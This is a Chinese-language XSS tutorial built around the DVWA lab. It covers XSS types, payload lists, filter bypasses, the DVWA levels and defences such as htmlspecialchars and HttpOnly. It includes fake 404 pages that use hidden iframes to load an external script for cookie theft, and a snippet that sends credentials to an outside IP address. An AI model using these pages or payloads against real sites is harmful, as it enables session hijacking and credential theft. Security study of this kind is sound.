DVWA学习之XSS(跨站脚本攻击)(超级详细)

2023-10-29

DVWA学习之XSS

XSS 跨站脚本攻击

0x01 XSS(Cross Site Script)简介

0x02 何为XSS

跨站脚本攻击XSS(Cross Site Script) 为了不和层叠式演示表(Cascading Style Sheets,CSS) 的缩写混淆,顾将跨站脚

本攻击缩写为XSS。恶意攻击者网web页面插入恶意Script代码,当用户浏览该页面时,嵌入web里面的script代码就会被执行,从

而达到攻击用户的目的。XSS攻击针对的是用户层面的攻击!

0x03 XSS存在的原因

XSS存在的根本原因是,对URL中的参数和对用户输入提交给web server的内容,没有进行充分的过滤。如果我们能够在web程序

中对用户提交的URL中的参数,和提交的所有内容进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致“在用

户的浏览器中执行攻击者自己定制的脚本”。

0x04 XSS漏洞的危害

 							|--->窃取cookie
							|--->网络钓鱼
		|------->针对用户-->|--->放马挖矿	
		|					|--->广告刷流量
 XSS----|					
		|					
		|					|--->篡改页面
		|----->针对web服务->|--->传播蠕虫
							|--->内网扫描
							|--->劫持后台
							
 从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,
 只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,
 需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。

0x05 XSS 的分类及特点

XSS一般分为:存储型、反射型、DOM型

存储型和反射型区别:是否有交互

易用性排序:存储型 > DOM型 > 反射型


1. 存储型XSS

存储型XSS:持久化,代码是存储在web服务器中的,比如在跟人信息或发表文章等地方插入代码,

如果没有过滤或者过滤不严,那么这些代码将存储在服务器中,用户访问该页面的时候触发代码执行。

这种XSS比较危险,容易造成蠕虫、盗窃cookie。每一个访问特定页面的用户,都会受到攻击。

特点:

1> XSS攻击代码存储于web server上;

2> 攻击者,一般是通过网站的留言、评论、博客、日志等等功能(所有能够向web server输入内容的地方),
将攻击代码存储到web server上的;
在这里插入图片描述

2. 反射型XSS

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),

一般容易出现在搜索页面。反射型XSS大多是是用来盗取用户的cookie信息。只要用户点击特定恶意

链接,服务器解析响应后,在返回的响应内出现攻击者的XSS代码,被浏览器执行。一来一去,XSS

攻击脚本被Web server反射回给浏览器执行,所以称为反射型XSS。

特点:

1> XSS攻击代码非持久性,也就是没有保存在web server中,而是出现在URL地址中;

2> 非持久性,那么攻击方式就不同了。一般是攻击者通过邮件,聊天软件等等方式发送攻击URL,
然后用户点击来达到攻击的;
在这里插入图片描述


有时持久性XSS和反射型XSS是同时使用的:

比如先通过对一个攻击url进行编码(来绕过xss filter),然后提交该web server(存储在web server中), 然后用户在浏览页面时,

如果点击该url,就会触发一个XSS攻击。当然用户点击该url时,也可能会触发一个CSRF(Cross site request forgery)攻击.


3. DOM型XSS

不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Object Model,DOM)的一种漏洞,

DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

(dom-xss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的)

特点:

web server不参与,仅仅涉及到浏览器的XSS。

可触发DOM-XSS的属性:
	 document.referer
	 window.name
	 location
	 innerHTML
	 document.write

0x06 XSS的攻击过程

1.存储型XSS


1.Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息;

2.Tom检测到Bob的站点存在存储型的XSS漏洞;

3.Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的服务器的数据库中,然后吸引其它用户来阅读该热点信息;

4.Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行;

5.Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击。


2.反射型XSS


1.Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息);

2.Tom 发现 Bob的站点存在反射性的XSS漏洞;

3.Tom 利用Bob网站的反射型XSS漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使Alice点击;

4.Alice在登录到Bob的站点后,浏览了 Tom 提供的恶意链接;

5.嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom;

6.Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制。


0x07 XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替,例如 < script> alert(1) </script//

<script>标签:<script>标签是最直接的XSS有效载荷, 脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
	-----------------------------
	 <script>alert("hello")</script>   #弹出hello
	 <script>alert(/hello/)</script>   #弹出hello
	 <script>alert(1)</script>        #弹出1,对于数字可以不用引号
	 <script>alert(document.cookie)</script>      #弹出cookie
	 <script src=http://xxx.com/xss.js></script>  #引用外部的xss
	------------------------------
 <svg>标签:
	------------------------------
	 <svg onload="alert(1)">
	 <svg onload="alert(1)"//		
	------------------------------
 <img>标签:
	------------------------------
	 <img  src=1  οnerrοr=alert("hack")>
	 <img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie
	------------------------------
<body>标签:
	------------------------------
	 <body οnlοad=alert(1)>
	 <body οnpageshοw=alert(1)>
	------------------------------
<video>标签:
	------------------------------
	 <video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
	------------------------------
<Style>标签:
	------------------------------
	 <style οnlοad=alert(1)></style>
	------------------------------

0x08 XSS可以插入在那些地方

 *用户输入作为script标签内容
 *用户输入作为HTML注释内容
 *用户输入作为HTML标签的属性名
 *用户输入作为HTML标签的属性值
 *用户输入作为HTML标签的名字
 *直接插入到CSS里
 
 **通过上述可插入的位置可知:千万不要引入任何不可信的第三方JavaScript到页面里!
----------------------------------
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
 <!-- 用户输入 -->
 <!-- --><script>alert('hack')</script><!-- -->
 
 #用户输入作为标签属性名,导致攻击者可以进行闭合绕过
 <div 用户输入="xx">  </div>
 <div ></div><script>alert('hack')</script><div a="xx"> </div>
 
 #用户输入作为标签属性值,导致攻击者可以进行闭合绕过
 <div id="用户输入"></div>
 <div id=""></div><script>alert('hack')</script><div a="x"></div>
 
 #用户输入作为标签名,导致攻击者可以进行闭合绕过
 <用户输入  id="xx" />
 <><script>alert('hack')</script><b id="xx" />
 
 #用户输入作为CSS内容,导致攻击者可以进行闭合绕过
 <style>用户输入<style>
 <style> </style><script>alert('hack')</script><style> </style>
----------------------------------

0x09 XSS漏洞的挖掘


 黑盒测试:
	 尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
	 *URL的每一个参数
	 *URL本身
	 *表单
	 *搜索框
---------------------
 常见业务场景:
	 *重灾区:评论区、留言区、个人信息、订单信息等
	 *针对型:站内信、网页即时通讯、私信、意见反馈
	 *存在风险:搜索框、当前目录、图片属性等
----------------------
 白盒测试(代码审计):
	 关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手:
		 PHP中常见的接受参数$_GET、$_POST、$_REQUEST等,可以搜索所有接受参数的
	 地方,然后对收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面的
	 数据是否进行了过滤和编码等处理。
	     也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们能否
	 控制,如果从数据库中取的,是否控制存到数据库中的数据,存到数据之前有没有进
	 行过滤等。
	     大多数程序会对接受参数封装在公共文件的函数中同一调用,我们就要审计这些
	 公共函数看看有没有过滤,能否绕过等。
	 同理审计DOM-XSS可以搜索一些js操作DOM元素的关键字进行审计。
----------------------

0x0a XSS漏洞的简单攻击测试

1. 反射型xss

 ------------------------------------
		 //前端 1.html:
			<html>
			<head lang="en">
				<meta charset="UTF-8">
				<title>反射型XSS</title>
			</head>
			<body>
				<form action="action.php" method="post">
					<input type="text" name="name" />
					<input type="submit" value="提交">
				</form>
			</body>
			</html>
			 ------------------------
			//后端 action.php:
			<?php
				$name=$_POST["name"]; 
				echo $name;
			?>
--------------------------------------
	提交数据:<script>alert('hack')</script> 弹框hack,插入的语句被执行;
	数据流向:前端-->后端-->前端

2. 存储型ss

------------------------------
			//前端:2.html
			<html>
			<head lang="en">
				<meta charset="UTF-8">
				<title>存储型XSS</title>
			</head>
			<body>
				<form action="action2.php" method="post">
					输入你的ID:  <input type="text" name="id" /> <br/>
					输入你的Name:<input type="text" name="name" /> <br/>
					<input type="submit" value="提交">
				</form>
			</body>
			</html>
			-------------------------------
			//后端:action2.php
			<?php
				$id=$_POST["id"];
				$name=$_POST["name"];
				mysql_connect("localhost","root","root");
				mysql_select_db("test");
				
				$sql="insert into xss value ($id,'$name')";
				$result=mysql_query($sql);
			?>
			------------------------------
			//供其他用户访问页面:show2.php
			<?php
				mysql_connect("localhost","root","root");
				mysql_select_db("test");
				$sql="select * from xss where id=1";
				$result=mysql_query($sql);
				while($row=mysql_fetch_array($result)){
					echo $row['name'];
				}
			?>
	---------------------------------
	 这里有一个用户提交的页面,数据交给后端后,后端存储在数据库中。然后当其他用户
	 访问另一个页面时,后端调出改数据,显示给另一个用户,XSS代码执行。
	-----------------------------------
	 我们输入1和<script>alert(\'hack\')</script>,注意,这里的hack的单引号要进行转义,
	 因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号。
	-----------------------------------
	 当我们提交1和<script>alert(\'hack\')</script>后,XSS代码被插入数据库,
	 然后当其他用户访问show2.php时,查询id=1,echo $row['name'],xss代码被执行。
	-----------------------------------
	 数据流向:前端-->后端-->数据库-->后端-->前端

3. DOM-xss

	----------------------------------
			// 前端3.html
			<html>
			<head lang="en">
				<meta charset="UTF-8">
				<title>DOM型XSS</title>
			</head>
			<body>
				<form action="action3.php" method="post">
					<input type="text" name="name" />
					<input type="submit" value="提交">
				</form>
			</body>
			</html>
			-----------------------
			// 后端action3.php
			<?php
			  $name=$_POST["name"];
			?>
			<input id="text" type="text" value="<?php echo $name; ?>"/>
			<div id="print"></div>
			<script type="text/javascript">
			  var text=document.getElementById("text");
			  var print=document.getElementById("print");
			  print.innerHTML=text.value;  // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
			</script>
	------------------------------
	 这是一个用户提交页面,用户可以在此提交数据,数据提交后给后台处理:
	------------------------------
	提交数据:<img src=1 οnerrοr=alert('hack')> ,弹窗hack
	------------------------------
	 数据流向:前端-->浏览器

0x0b XSS的简单绕过滤和绕过

----------------------------------
 1.区分大小写过滤标签:
	  过滤:$name=preg_replace("/<script>/","",$name);      //过滤<script>
			$name=preg_replace("/<\/script>/","",$name);   //过滤</script>
	  绕过:可以使用大小写绕过  <scripT>alert('hack')</scripT>
----------------------------------
 2.不区分大小写过滤标签:/i:不区分大小写
	  过滤:$name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>
			$name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>
	  绕过:可以使用嵌套的script标签绕过:<scr<script>ipt>alert('hack')</scr</script>ipt>
---------------------------------- 
 3.不区分大小写,过滤之间的所有内容:
	  过滤:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容
	  绕过:虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件
			或者iframe等标签的 rc注入恶意的js代码。
			<img src=1 οnerrοr=alert('hack')> 
------------------------------------

0x0c 反射型XSS的利用优势

假设现在有一个网站存在反射型XSS,当用户登录该网站时,我们通过诱使用户点击我们精心制作的恶意连接,来盗取用户

的cookie并返回给我们,然后我们通过盗取的cookie以用户的身份登录该网站。

------------------------------------
get型:
	 当我们的输入参数的请求类型为get型时,即我们的输入参数是以URL方式提交;
	 
	 该链接的为:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>
	 
	 思考:怎么构造恶意代码用来诱使用户点击并且用户点击后不会发现点击了恶意链接呢?
	--------------------------------
	构造代码:
		 核心:<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
		----------------------------
			<!DOCTYPE html>
			<html>
			<head>
				<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
				<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
				<title>404 页面不存在 </title>
				<style type="text/css">
					body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
					.error-page{background:#f0f1f3;padding:80px 0 180px}
					.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
					.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
					.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
				</style>
			</head>
			<body>
			<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
			<div class="error-page">
				<div class="error-page-container">
					<div class="error-page-main">
						<h3>
							<strong>404</strong>很抱歉,您要访问的页面不存在!
						</h3> 
					</div>
				</div>
			</div>
			</body>
			</html>
		------------------------------
		 将其保存为html页面,然后放在我们自己的服务器上,作为一个链接。当用户登录了存在漏洞的网站,并且用户点击了
		 
		 我们构造的恶意链接时,该链接页面会偷偷打开一个iframe框架,iframe会访问其中的链接,然后执行我们的js代码。
		 
		 该js代码会把存在漏洞的网站的cookie发送到我们的平台上,而用户却浑然不知,只会获得一个404错误页面。

		 注:我们的攻击代码可以利用的前提是存在XSS漏洞的网站的X-Frame-options未配置,并且会话Cookie没有设置Http Only属性
=======================================
post型
	 假设一网站的用户名输入框存在反射型XSS漏洞:
	 构造代码:
		-------------------------------
			<!DOCTYPE html>
			<html>
			<head>
				<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
				<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
				<title>404 页面不存在 </title>
				<style type="text/css">
					body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
					.error-page{background:#f0f1f3;padding:80px 0 180px}
					.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
					.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
					.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
				</style>
				 <script type="text/javascript">
					function attack()
					{
						document.getElementById("transfer").submit();
					}
				</script>
			</head>
			<body>
			<iframe src="form.html" frameborder="0" style="display: none"></iframe>
			<div class="error-page">
				<div class="error-page-container">
					<div class="error-page-main">
						<h3>
							<strong>404</strong>很抱歉,您要访问的页面不存在!
						</h3>
					</div>
				</div>
				<form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">
					 <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
					 <input type="hidden" name="password" value="1">
				</form>
				<iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
			</div>
			</body>
			</html>
		------------------------------------//form表单target属性:指定框架打开的位置
		
	 将其保存为html页面,然后放在我们自己的服务器上,作为一个链接。当用户登录了存在漏洞的网站,并且用户点击了
	 
	 我们构造的恶意链接时,该链接页面会偷偷打开一个iframe框架,iframe会访问其中的链接,然后执行我们的js代码,
	 
	 完成表单的提交,表单的用户名参数是我们的js代码。提交完该表单后,该js代码会把存在漏洞的网站的cookie发送到
	 
	 我们的平台上,单用户却浑然不知,只会获得一个404错误页面。
	 
	 这里的404页面中隐藏了一个form提交表单,为了防止提交表单后跳转,在表单中添加一个iframe框架,并且iframe框架
	 
	 的name等于form表单的target,并且设置iframe框架不可见。
	 
	 当用户点击我们构造的恶意链接时,发现是一个404页面。实际上这个页面偷偷地进行了页面的提交,提交到了我们
	 
	 指定的平台位置。

0x0d 利用js将用户信息发送给后台

构造代码:
--------------------------------------
	<!DOCTYPE html>
	<html>
	<head lang="en">
		<meta charset="UTF-8">
		<title></title>
		<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
		<script>
			$(function(){
				//我们现在假如 user和pass是我们利用js获得的用户的用户名和密码
				user="admin";
				pass="root";
				url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
				var frame=$("<iframe>");
				frame.attr("src",url);
				frame.attr("style","display:none");
				$("#body").append(frame);      //添加一个iframe框架,并设置不显示。这个框架会偷偷访问该链接。
			});
		</script>
	</head>
	<body id="body">
		<h3>hello,word!</h3>
	</body>
	</html>
-------------------------------------
当用户访问了该页面,我们后台就可以看到用户访问记录。

0x0e dvwa之XSS Reflected

1.low 级别

未进行过滤,构造payload

payload:<script>alert("x");</script>

在这里插入图片描述


2. medium级别

过滤规则:把< script>用str_replace()函数替换为空了:


尝试双写<script>标签:<sc<script>ript>alert("x");</sc</script>ript>-->
发现返回hello ript>:问题很奇怪,查看源码,发现:</sc</script>ript>没有被过滤,仅过滤了
<script>标签,所以加载payload:<sc<script>ript>alert("x");</script>弹窗
		<pre>
			Hello
			<script>
				alert("x");</sc
			</script>
			ript>
		</pre>
------------------------------
试一下改变大小写可以不:加载payload:<sCrIPt>alert("x");</sCrIpT>弹窗,说明没有对大小写过滤
------------------------------

action one:双写型payload:<sc< script>ript>alert(“x”);</ script>
在这里插入图片描述
action two:大小写型payload:< sCrIPt>alert(“x”);</ sCrIpT>
在这里插入图片描述


3. high 级别

过滤规则:$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $_GET[ ‘name’ ] ); 对任何模式的script都过滤了,换标签:

构造payload:<img src=0 onerror=alert("xss")>  

在这里插入图片描述


4. impossible 级别

服务器端核心代码:
<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
	// Check Anti-CSRF token 
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
  	// Get input 
 	$name = htmlspecialchars( $_GET[ 'name' ] ); 
 	// Feedback for end user 
 	echo "<pre>Hello ${name}</pre>"; 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?>
-------------------------------------------------
可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,

防止浏览器将其作为HTML元素。

可以看出,impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。

然后再用	htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止了我们填入标签

当我们输入 <script>alert('hack')</script> 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,

然后包围在<pre></pre>标签中被打印出来,所以我们插入的语句并不会被执行。

当我们提交<script>alert("hack");</script>时,通过可以查看源代码,表单提交的过程中,把我们的user_token也一并提交了,

来和服务器端的session_token做验证,防止CSRF攻击。我们输入的代码,直接被当成html文本给打印出来了,并不会被当成js脚本执行

0x0f dvwa之XSS Store

------------------------------
相关函数介绍

trim(string,charlist)

函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,

可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(string,connection)

函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

stripslashes(string)

函数删除字符串中的反斜杠。

------------------------------

1.low 级别

未进行过滤

构造payload:	name=1
			 massage=<script>alert("x");</script>

在这里插入图片描述

2. medium 级别

strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,(未过滤使用<b>标签)。

addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数

注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。

直接尝试:payload:< script>alert(“x”);</ script>,发现显示alert(“x”);并不弹窗,
应该是标签被过滤了,换个标签试试:<img src=0 οnerrοr=alert(“xss”)>发现没有显示信息,也没有弹窗
在这里插入图片描述
在这里插入图片描述action one:双写(bp拦截)

构造payload:name  =   <sc<script>ript>alert("x");</script>
	     message   =132

在这里插入图片描述
action two:大小写

构造payload:name = <sCrIPt>alert("x");</sCrIpT>
			message = 123

在这里插入图片描述
action three:换标签

构造payload:name = <img src=0 onerror=alert("xss")>
			message = 123

在这里插入图片描述

3. high 级别

构造payload:name  =   <img src=0 onerror=alert("xss")>
			message  = 123

在这里插入图片描述

4. impossible级别

通过使用htmlspecialchars函数,解决了XSS,所以无法注入。

通常有一些方式可以测试网站是否有正确处理特殊字符:

><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

"><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert (vulnerable)</script>

%3Cscript%3Ealert('XSS')%3C/script%3E

<script>alert('XSS')</script>

<img src="javascript:alert('XSS')">

<img src="http://xxx.com/yyy.png" onerror="alert('XSS')">

<div style="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效) 

0x10 dvwa之DOM-xss

1. low级别

没有过滤,只是通过选择框限制了输入,通过Firefox的hackbar直接构造payload

payload:<script>alert("x");</script>

在这里插入图片描述

2. medium 级别

使用stripos对"<script"进行过滤,并且不区分大小写,如果有则置为English
	 1.此时查看源码:
	 <select name="default">
		<option value="" disabled="disabled">----</option>
		<option value="English">English</option>
		<option value="French">French</option>
		<option value="Spanish">Spanish</option>
		<option value="German">German</option>
		<input value="Select" type="submit">
	</script>
	2.输入的值会在value中显示,直接<script>alert("x");</script>被过滤,换用标签
		使用payload:<img src=1 onerror=alert("xss")>
		此时:
			<option value="%3Cimg%20src=1%20onerror=alert(%22xss%22)%3E"></option>
			<option value="" disabled="disabled">----</option>
			<option value="English">English</option>
			<option value="French">French</option>
			<option value="Spanish">Spanish</option>
			<option value="German">German</option>
			</select>
		发现标签未被显示,接着想办法闭合标签<select>和<select>让我们的payload加载到html
		中能被执行:</option></select><img src=1 onerror=alert("xss")>
		当然也可直接闭合<select>:payload:</select><img src=1 onerror=alert("xss")>

构造payload: </ select><img src=1 οnerrοr=alert(“xss”)>
在这里插入图片描述

3. high 级别

这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的

相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行:

尝试English#< script >alert(“x”);

构造payload:English#<script>alert("x");

在这里插入图片描述

4.impossible 级别

impossible级别,居然只告诉我了这一句话:# Don’t need to do anything, protction handled on the client side ,当我们尝试注入

时,我们注入的内容都会经过URL编码显示在输入框,经过URL编码的内容被放在HTML标签中,而没有经过解码。所以不存在

注入。

0x11 防御

XSS防御的总体思路:对用户的输入(和URL参数)进行过滤、对输出进行html编

码。也就是对用户提交的内容进行过滤,对url的参数进行过滤,过滤掉会导致脚本执行

的相关内容;然后对动态输出到页面的内容进行thml编码,使脚本无法在浏览器中执行。

1.对输入的内容进行过滤:

对输入的内容进行过滤:(主要思路:将容易导致XSS攻击的边角字符替换成全角字符。)

	对于每一个输入,在客户端和服务端还要进行各种验证,验证是否合法字符、长度是否
	
合法、格式是否合法,并且在客户端和服务端都要进行验证,因为客户端的验证很容易被绕过。

这种验证可以分为黑名单过滤和白名单过滤:其中,黑名单过滤即禁止某些字符通过验证,

虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险;白名单过滤即允许某些字符通过,

虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤。

2. 对输出进行HTML编码

对输出进行html编码:(主要思路:在输出数据之前对潜在的威胁的字符进行编码、转义)

就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本执行而输出。也就是

在输出动态数据之前对潜在的威胁字符进行严格编码、转义,这是防御XSS攻击十分有效的措施,

使用的号理论上讲可以可以所有XSS攻击。
 ------------------------------
	对所有动态输出到页面的内容,统统进行相关的转义和编码。当然转义是按照其输出的上下文决定
	
	1).作为body文本输出、作为html标签的属性输出:
	2).JavaScript事件
	
	3).URL属性:
	如果<script>,<style>,<imt>等标签的sr 和href属性值为动态内容那么要确保这些url没有执行恶意连接。
	确保:href和src的值必须以http://开头,白名单方式;不能有10进制和16进制编码字符。
	
	4).HTTPonly与XSS防御:
	XSS一般利用js脚步读取用户浏览器中的Cookie,而如果在服务器端对Cookie设置了HttpOnly属性,
	那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie
------------------------------------
使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体:

		#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
		
		 $name = htmlspecialchars( $_GET[ 'name' ] );
		 
经过html编码后,<script>标签被当成了html实体。 
------------------------------------
此外还可以故武器设置会话cookie的HTTP only属性,这样,客户端的js脚本就不能获取cookie。
============================================================
黑名单过滤:
-------------
	列出不能出现的对象的清单,一旦出现就进行处理;
-------------
白名单过滤:
-------------
	白名单列出的是可被接受的内容,比如规定所有的输入只能是“大小写的26个英
文字母和10个数字,还有-和_”,所有其他的输入都是非法的,会被抛弃掉。很显然如此严格
的白名单是可以100%拦截所有的XSS攻击的。但是现实情况一般是不能进行如此严格的白名单
过滤的。
-------------
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

DVWA学习之XSS(跨站脚本攻击)(超级详细) 的相关文章

  • 涉及 XSS 时,htmlspecialchars 与 htmlentities

    我看到了很多关于这个问题的相互矛盾的答案 许多人喜欢引用这样的话 仅靠 php 函数并不能保护您免受 xss 攻击 到底哪些 XSS 可以通过 htmlspecialchars 进行攻击 哪些 XSS 可以通过 htmlentities 进
  • Vue - 确认消息中的用户输入样式(允许特定的 html 标签)

    使用 Vue 我想显示一个确认模式 其中显示类似 您确定要删除 itemName 吗 将 Javascript 字符串绑定到嵌入到模板中的变量就足够简单了 但是 如果我想把itemName用斜体来强调它 我能找到的唯一方法是使用v html
  • 防止我的nodejs服务器中的xhr攻击[关闭]

    很难说出这里问的是什么 这个问题是含糊的 模糊的 不完整的 过于宽泛的或修辞性的 无法以目前的形式得到合理的回答 如需帮助澄清此问题以便重新打开 访问帮助中心 help reopen questions 我正在开发一个将与客户端移动应用程序
  • 如何使用 HTML/PHP 防止 XSS?

    我该如何预防XSS https en wikipedia org wiki Cross site scripting 跨站点脚本 仅使用 HTML 和 PHP 我已经看过很多关于这个主题的其他帖子 但我还没有找到一篇文章清楚 简洁地说明如何
  • 如何在没有 Spring Boot 的情况下阻止或防止 Spring MVC 4 应用程序的 XSS

    如何保护 清理采用原始 JSON 主体并通常输出 JSON 响应且不使用 Spring Boot 的应用程序 我只看到一个可能有效并使用 JsonComponent 的好例子 如果我们不使用 jsoncomponent 如何过滤掉请求以从整
  • 如何使用 AntiXss 库正确清理内容?

    我有一个简单的论坛应用程序 当有人发布任何内容时 我会 post Content Sanitizer GetSafeHtml post Content 现在 我不确定我是否做错了什么 或者发生了什么 但它不允许几乎没有 html 甚至简单
  • 我应该采取哪些预防措施来防止用户提交的 HTML 出现 XSS?

    我计划制作一个网络应用程序 允许用户在我的网站上发布整个网页 我正在考虑使用HTML 净化器 http htmlpurifier org 但我不确定 因为 HTML Purifier 会编辑 HTLM 并且 HTML 的发布方式保持不变非常
  • 使用 Spring MVC 框架清理用户输入

    我正在使用 spring mvc 框架开发 Web 应用程序 我想知道是否有任何最好的方法来清理用户输入或通用方法来清理 springs 中的所有用户输入以避免 XSS 和 Sql 注入攻击 您可以使用Filters在 Spring 框架中
  • 使用 CSP + localStorage 保护单页应用程序免受 CSRF 和 XSS 的影响

    我有一个单页应用程序 包含敏感内容 并且需要保护 这个问题专门针对 XSS 和 CSRF 攻击 解释 很多地方都提出了建议 例如here http michael coates blogspot ca 2010 07 html5 local
  • Wymeditor 跨子域。 (跨站点权限问题。)

    我在 sub1 domain com 上有 wymeditor 它是通过 sub2 domains com 上的页面访问的 这行给出了一个错误 var styles this doc styleSheets 0 权限被拒绝http remo
  • HTML 和属性编码

    我遇到了一个发表在 Meta SO 上 https meta stackexchange com questions 104230 attack of the double encoded hellip part n我很好奇未编码和编码的
  • HTMLPurifier 破坏图像

    我试图根据 WYSIWYG CK 编辑器 的用户输入运行 HTMLPurifier 但图像损坏 未过滤的输入 img alt laugh src lib ckeditor plugins smiley images teeth smile
  • 如何使用 Struts 预防 XSS 漏洞

    我们需要在 Struts 应用程序中添加反 XSS 支持 最具体地说 架构师要求所有用户输入在存储到数据库之前必须进行 清理 由于我不想重新发明方轮 我可以使用哪个 Java 库来实现此目的 以及把它放在哪里 理想情况下 它应该是可配置的
  • 如何修复java中反映的XSS

    我收到了强化报告 其中显示了来自下面第二行的 XSS 反射缺陷 String name request getParameter name response getWriter write 姓名 姓名 给出的建议 向 Web 客户端显示的所
  • https 安全 cookie 是否可以防止 XSS 攻击?

    https 连接是否可以保护 cookie 并防止 XSS 攻击 我有一个简单的博客 允许用户输入 JavaScript 代码作为输入 我希望允许用户输入 Javascript 同时仍然防止 XSS 攻击和 cookie 窃取 https
  • 清理 html 字符串中的所有脚本

